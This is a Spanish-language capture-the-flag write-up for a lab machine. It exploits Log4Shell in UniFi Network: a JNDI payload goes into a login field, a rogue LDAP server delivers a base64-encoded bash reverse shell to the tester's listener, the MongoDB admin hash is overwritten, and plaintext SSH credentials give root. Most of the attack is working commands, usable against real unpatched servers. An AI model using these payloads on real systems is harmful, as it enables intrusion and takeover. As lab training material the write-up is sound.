Explotación de la vulnerabilidad Log4Shell (CVE-2021-44228) en la aplicación UniFi Network. El vector de ataque consiste en inyectar un payload JNDI malicioso para lograr RCE, luego manipular la base de datos MongoDB interna para resetear la contraseña de administrador y finalmente escalar privilegios mediante credenciales SSH en texto plano encontradas en la aplicación.
El escaneo inicial de nmap revela cuatro puertos abiertos relevantes:
22/tcp open ssh
6789/tcp open ibm-db2-admin
8080/tcp open http-proxy
8443/tcp open https-alt
En el puerto 8443 corre UniFi Network v6.4.54, una versión notoriamente vulnerable a Log4Shell.
Log4Shell permite ejecutar código remoto aprovechando que Log4j interpreta strings especiales del tipo ${jndi:ldap://...}. Si inyectamos este vector en un campo que el servidor registra en sus logs (en este caso el campo remember del login), el servidor intentará conectarse a nuestro LDAP malicioso.
sudo dnf install java-11-openjdk-devel maven -y
java -version && mvn -v
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
# Resultado: target/RogueJndi-1.1.jar
Los caracteres especiales de Bash (>, &, |) se rompen al pasar por el servidor web. La solución es encodear el comando en Base64:
echo -n 'bash -i >& /dev/tcp/TU_IP/1234 0>&1' | base64
# Resultado: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMjkvMTIzNCAwPiYx
Interceptamos la petición POST del login al panel de UniFi en el puerto 8443 y modificamos el campo remember con nuestro vector JNDI:
${jndi:ldap://TU_IP/whatever}
# Terminal 1: verificar el impacto
sudo tcpdump -i tun0 port 389
# Terminal 2: lanzar Rogue-JNDI con el payload
java -jar target/RogueJndi-1.1.jar \
--command "bash -c {echo,BASE64_AQUI}|{base64,-d}|{bash,-i}" \
--hostname "TU_IP"
# Terminal 3: netcat listener
nc -lvnp 1234
Una vez que el servidor procesa el campo remember, se conecta a nuestro LDAP malicioso, descarga y ejecuta el payload → shell como usuario unifi.
Dentro del sistema encontramos MongoDB corriendo en el puerto 27117. La base de datos ace de UniFi contiene los usuarios administradores.
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
# Campo a buscar: x_shadow (hash SHA-512)
Generamos nuestro propio hash SHA-512 y lo insertamos en la base de datos:
# Generar nuevo hash
mkpasswd -m sha-512 NuevaPassword123
# Actualizar en MongoDB
mongo --port 27117 ace --eval 'db.admin.update(
{"_id": ObjectId("61ce278f46e0fb0012d47ee4")},
{$set:{"x_shadow":"NUEVO_HASH_SHA512"}}
)'
Accedemos al panel de UniFi con las nuevas credenciales y encontramos las credenciales SSH de root en la sección de configuración del site.
ssh root@10.129.40.223
# Password: NotACrackablePassword4U2022
root@unified:~# cat root.txt
e50bc93c75b634e4b272d2f771c33681